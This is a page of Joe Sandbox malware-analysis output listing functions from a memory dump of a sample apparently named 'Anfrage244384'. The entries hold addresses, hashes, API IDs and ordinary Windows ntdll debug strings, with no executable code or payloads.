                                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                                          • API String ID: 3446177414-3224558752
                                                          • Opcode ID: b8d510e846f2ad5e37379abe68c8cdd1bcb2eebc94010105afe3a5b19b11fb1c
                                                          • Instruction ID: 79a0443227f5af30d38ba2b7160d62860fdc1b96674da351a05ed454979bce36
                                                          • Opcode Fuzzy Hash: b8d510e846f2ad5e37379abe68c8cdd1bcb2eebc94010105afe3a5b19b11fb1c
                                                          • Instruction Fuzzy Hash: 75416674614740DFEB02CF64C894B5AB7B4EF04768F0589AAE4959B2A1CF39A880CBD1
                                                          Function 34F3F157 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • HEAP: , xrefs: 34F3F15D
                                                          • Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 34F3F263
                                                          • ---------------------------------------, xrefs: 34F3F279
                                                          • Entry Heap Size , xrefs: 34F3F26D
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
                                                          • API String ID: 3446177414-1102453626
                                                          • Opcode ID: 261ab69ad7295846a7ca09a6909621db936155abd14137fc683b63a7f8b2f804
                                                          • Instruction ID: c371ccfa39acad7c67447cfdc77f944b6a73233396f19134f83ace5bd005b0f0
                                                          • Opcode Fuzzy Hash: 261ab69ad7295846a7ca09a6909621db936155abd14137fc683b63a7f8b2f804
                                                          • Instruction Fuzzy Hash: D4417C39A02615DFDB04DF18D48492ABBE5FF4979472E89A9D408AF311E731EC43CBA4
                                                          Function 34EBDBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                                          • API String ID: 3446177414-1222099010
                                                          • Opcode ID: b51ed01a215aa41e724323fd71da31def49273bf6effd7009a74b0b639686f90
                                                          • Instruction ID: 68824d84d31a6e255aad99d166a955621a15eb5e465d3020108913c4c8a464cc
                                                          • Opcode Fuzzy Hash: b51ed01a215aa41e724323fd71da31def49273bf6effd7009a74b0b639686f90
                                                          • Instruction Fuzzy Hash: 87314B35228B84DFFB12CF64C844F59B7E8EF01B58F0540C9E496476A2CB79A880CF55
                                                          Function 34EDB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-$0$0
                                                          • API String ID: 1302938615-699404926
                                                          • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction ID: 2a7bfb32a67481d766da78def5973ffc7c4102895f49b0f0873f1d92e1bd7345
                                                          • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction Fuzzy Hash: FA81B278E152498FEF04CF64C8917EEBBB6AF47358F54466DE860A72D0EB349842CB50
                                                          Function 34E99126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$@
                                                          • API String ID: 3446177414-1194432280
                                                          • Opcode ID: 41bbea65cfe2a3416f0e038978d8ced8821b1e900d1d285dcc57401818102c72
                                                          • Instruction ID: 701e72ae926e44dc740923118cdc6e0228980a046fdb3926f1c5950ee717d728
                                                          • Opcode Fuzzy Hash: 41bbea65cfe2a3416f0e038978d8ced8821b1e900d1d285dcc57401818102c72
                                                          • Instruction Fuzzy Hash: 1F812A75D00269DFEB21CB54CC44BEEB7B8AB08754F0145EAE919B7280E7359E85CFA0
                                                          Function 34EC4D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • minkernel\ntdll\ldrsnap.c, xrefs: 34F03640, 34F0366C
                                                          • LdrpFindDllActivationContext, xrefs: 34F03636, 34F03662
                                                          • Querying the active activation context failed with status 0x%08lx, xrefs: 34F0365C
                                                          • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 34F0362F
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                          • API String ID: 3446177414-3779518884
                                                          • Opcode ID: a11874cc46304a94ddeefc60a5652d3482837cf68befe1707ce94f3721ec9a5a
                                                          • Instruction ID: 1c9de4159a41476d9ba52b6934b686f6fa45088e3fee0cf6ff2157693bf1fca3
                                                          • Opcode Fuzzy Hash: a11874cc46304a94ddeefc60a5652d3482837cf68befe1707ce94f3721ec9a5a
                                                          • Instruction Fuzzy Hash: A8313BB7A00711BFEB11FB04CA84F257BA6FB41798F46856AE80667160DB60DD818BC5
                                                          Function 34EB245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • TG4, xrefs: 34EB2462
                                                          • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 34EFA992
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 34EFA9A2
                                                          • LdrpDynamicShimModule, xrefs: 34EFA998
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$TG4$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-3886369598
                                                          • Opcode ID: ae859dd2c1993f4dbbe26f16ab3503d32c63da9de88559e04f4a1955201500e7
                                                          • Instruction ID: 5e853cd2baab13208d2bd59b597390f25a2695811104eeeb2fb0d38ceff2da22
                                                          • Opcode Fuzzy Hash: ae859dd2c1993f4dbbe26f16ab3503d32c63da9de88559e04f4a1955201500e7
                                                          • Instruction Fuzzy Hash: F8312876A10205EFE7109F98DC84E6A7BB4FF84B54F1A4069E804BF260D7729942CBC0
                                                          Function 34F420E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$[$]:%u
                                                          • API String ID: 48624451-2819853543
                                                          • Opcode ID: 8a5d2a54e9bc1bc29dcd2f50f88fba5a824b0b36503ee2222ef59f8e51aa1331
                                                          • Instruction ID: 08e89c884a15e3ddf3616e742e53dc4200ba7787061f18b44f8e985d1ce7a7c5
                                                          • Opcode Fuzzy Hash: 8a5d2a54e9bc1bc29dcd2f50f88fba5a824b0b36503ee2222ef59f8e51aa1331
                                                          • Instruction Fuzzy Hash: 4C2137769101199FDB10DFB9DC409EF7BF8EF94684F45052AE915E3200EB31D902CBA1
                                                          Function 34E8F910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 3446177414-3610490719
                                                          • Opcode ID: 89a58d37a73caecbb104a1b3e60fb85ca3319f1d2ec04f8431691583e83c70a7
                                                          • Instruction ID: 8780b53ccc946e3743a56adb3bebf1356ddfbc443a373cd1ad82b2474b3cf9f3
                                                          • Opcode Fuzzy Hash: 89a58d37a73caecbb104a1b3e60fb85ca3319f1d2ec04f8431691583e83c70a7
                                                          • Instruction Fuzzy Hash: 38911775714741DFFB15CF64C880B2AB7A9FF84F58F040499E9899B280DB34E882CB95
                                                          Function 34EB0BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • LdrpCheckModule, xrefs: 34EFA117
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 34EFA121
                                                          • Failed to allocated memory for shimmed module list, xrefs: 34EFA10F
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-161242083
                                                          • Opcode ID: 148358ce650db0649e4b3d4a3cb0859426c63a17701b829ecc746cb45ad59fbe
                                                          • Instruction ID: 5c54dcabb1e244e9bdf860940d1cedfb539744751133678e4a60509892f3d921
                                                          • Opcode Fuzzy Hash: 148358ce650db0649e4b3d4a3cb0859426c63a17701b829ecc746cb45ad59fbe
                                                          • Instruction Fuzzy Hash: CB71DE75A08209DFEB05DF68C980AAEB7F4FF44708F1944ADD845EB260E735A942CF94
                                                          Function 34EB9803 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
                                                          • API String ID: 3446177414-2283098728
                                                          • Opcode ID: d8b271bf3f2ba6050a9a500b875c868a696a43b6030f69c97364791868464969
                                                          • Instruction ID: 4f9035f2464cbfa6f9262e1fda4ace15d8d8d40b41f948c777a4893b58fe9663
                                                          • Opcode Fuzzy Hash: d8b271bf3f2ba6050a9a500b875c868a696a43b6030f69c97364791868464969
                                                          • Instruction Fuzzy Hash: 5F51C071718702DFFB15DF24C884B29B7A5BF84318F140A6DE8D59B6A0EB35A805CF91
                                                          Function 34ECC720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • Failed to reallocate the system dirs string !, xrefs: 34F082D7
                                                          • LdrpInitializePerUserWindowsDirectory, xrefs: 34F082DE
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 34F082E8
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-1783798831
                                                          • Opcode ID: 5db9bc7f58acd68cf4ec751f8064a92cfc439f5e54f57e5d5bd983232f0b8729
                                                          • Instruction ID: 03a1ba4aff8b0cf48c532533837084f5cd1e99d5f31d4c494f1e73e6170f135a
                                                          • Opcode Fuzzy Hash: 5db9bc7f58acd68cf4ec751f8064a92cfc439f5e54f57e5d5bd983232f0b8729
                                                          • Instruction Fuzzy Hash: 7641AEB5554314EFE710DB74D940B5B77E8EF85B54F08492AF948AB2A0EB30D8028F96
                                                          Function 34ECBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Re-Waiting, xrefs: 34F07BAC
                                                          • RTL: Resource at %p, xrefs: 34F07B8E
                                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 34F07B7F
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 0-871070163
                                                          • Opcode ID: 5433010b092e7ad1e7c818b3c351466e993d057a365b93fbe50471f087cbf0c9
                                                          • Instruction ID: e19274e4d5e9a54eea287be655d2f942366050e985d18f232c0b47e37ae16217
                                                          • Opcode Fuzzy Hash: 5433010b092e7ad1e7c818b3c351466e993d057a365b93fbe50471f087cbf0c9
                                                          • Instruction Fuzzy Hash: CF41EF757407429FE714CE25ED40B5AB7E9EF88720F000A2DF95A9B780DB31E8068F91
                                                          Function 34ECB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 34F0728C
                                                          Strings
                                                          • RTL: Re-Waiting, xrefs: 34F072C1
                                                          • RTL: Resource at %p, xrefs: 34F072A3
                                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 34F07294
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 885266447-605551621
                                                          • Opcode ID: e8c0564afc41d598a1c652ac77032bb22b22dfe85816c2f67fc828a1dc553d0c
                                                          • Instruction ID: f45cd36e825c50a9aec655709965b5c61e704159aeef503637059090adf96b49
                                                          • Opcode Fuzzy Hash: e8c0564afc41d598a1c652ac77032bb22b22dfe85816c2f67fc828a1dc553d0c
                                                          • Instruction Fuzzy Hash: 1B41FB35B44246AFE710CE20DD40B5AB7E9FF84364F184A59F954AB280EB30E8169FE0
                                                          Function 34F14755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • LdrpCheckRedirection, xrefs: 34F1488F
                                                          • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 34F14888
                                                          • minkernel\ntdll\ldrredirect.c, xrefs: 34F14899
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                          • API String ID: 3446177414-3154609507
                                                          • Opcode ID: 54f12595f8d4fb8b9b52517319b5bfde65bf2981339e542fd7f131bbadce177a
                                                          • Instruction ID: 44f3c2e37a7d2782a21e1cdef554d3ceec29778f9dfdbc0d0492909db7a04ff1
                                                          • Opcode Fuzzy Hash: 54f12595f8d4fb8b9b52517319b5bfde65bf2981339e542fd7f131bbadce177a
                                                          • Instruction Fuzzy Hash: 1241AFB6A04B519FDB11CE68D840A167BE8EFC96A0F0D0A6DEC58AB351D730D802CB91
                                                          Function 34F42300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$]:%u
                                                          • API String ID: 48624451-3050659472
                                                          • Opcode ID: 5da0a7dea6544cbc37ab9b417c203987ac2b27abb45d14198ae23ad10bf01e61
                                                          • Instruction ID: 643d2f68cc7b78556a78205b384a2bf023709f257619d57e93ca140a73610c46
                                                          • Opcode Fuzzy Hash: 5da0a7dea6544cbc37ab9b417c203987ac2b27abb45d14198ae23ad10bf01e61
                                                          • Instruction Fuzzy Hash: A9315476A106199FDB10CF29DC40BFE7BB8EB44790F8545A9E849E3240EF30DA458FA1
                                                          Function 34F15F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Wow64 Emulation Layer
                                                          • API String ID: 3446177414-921169906
                                                          • Opcode ID: eb8011bd881b9f391683eeac20edc2ec4f0d22634f324128862555819617d769
                                                          • Instruction ID: 55a5ee8daad9cd659daabf0095e32e95995e29eb0e171bd4f2dea2500d508c8d
                                                          • Opcode Fuzzy Hash: eb8011bd881b9f391683eeac20edc2ec4f0d22634f324128862555819617d769
                                                          • Instruction Fuzzy Hash: 2D21FEB590011DFFAB019BA49D84CBF7B7DEF446E8F084454FA16A6240D6349E069F64
                                                          Function 34EBEF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a0a2e50d3bebe360e2fc34213e752b357c622789597373232511ac33de691b2d
                                                          • Instruction ID: b2861aefa3613eef1d299aacb8a01c07c4e8ce0b800497dfcb5bc11614e95682
                                                          • Opcode Fuzzy Hash: a0a2e50d3bebe360e2fc34213e752b357c622789597373232511ac33de691b2d
                                                          • Instruction Fuzzy Hash: E1E1ED75E04708DFEF25CFA9D980A9DBBF5BF48314F24492AE585AB261DB30A841CF50
                                                          Function 34F0EF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 8b4b0ba68f2b93e3a37e996ea66561d650b5adf74caabbacdf592a8eee682f01
                                                          • Instruction ID: 2e202a142263a78d31edab362c0e8fea8add41358afb0d4b38803fccb17582d3
                                                          • Opcode Fuzzy Hash: 8b4b0ba68f2b93e3a37e996ea66561d650b5adf74caabbacdf592a8eee682f01
                                                          • Instruction Fuzzy Hash: 17712475E003199FDF01CFA4D980ADDBBB5BF88354F18842AE905AB250D774A906DFA4
                                                          Function 34F6A4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 64cd7d0a772572a8ae378d75ec216020847c6b6be031332cba1fec468b2f67eb
                                                          • Instruction ID: 7991f6e042cf6ed5dbae92ad245b481a887fab68d27b73183d7e82ee40de5a4d
                                                          • Opcode Fuzzy Hash: 64cd7d0a772572a8ae378d75ec216020847c6b6be031332cba1fec468b2f67eb
                                                          • Instruction Fuzzy Hash: 24518075B00A129FEB08CE18C590A1977F6FF4A358B184A6DD907DB710DB79EC42CB80
                                                          Function 34F0F1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON
                                                          Download Yara Rule
                                                          APIs
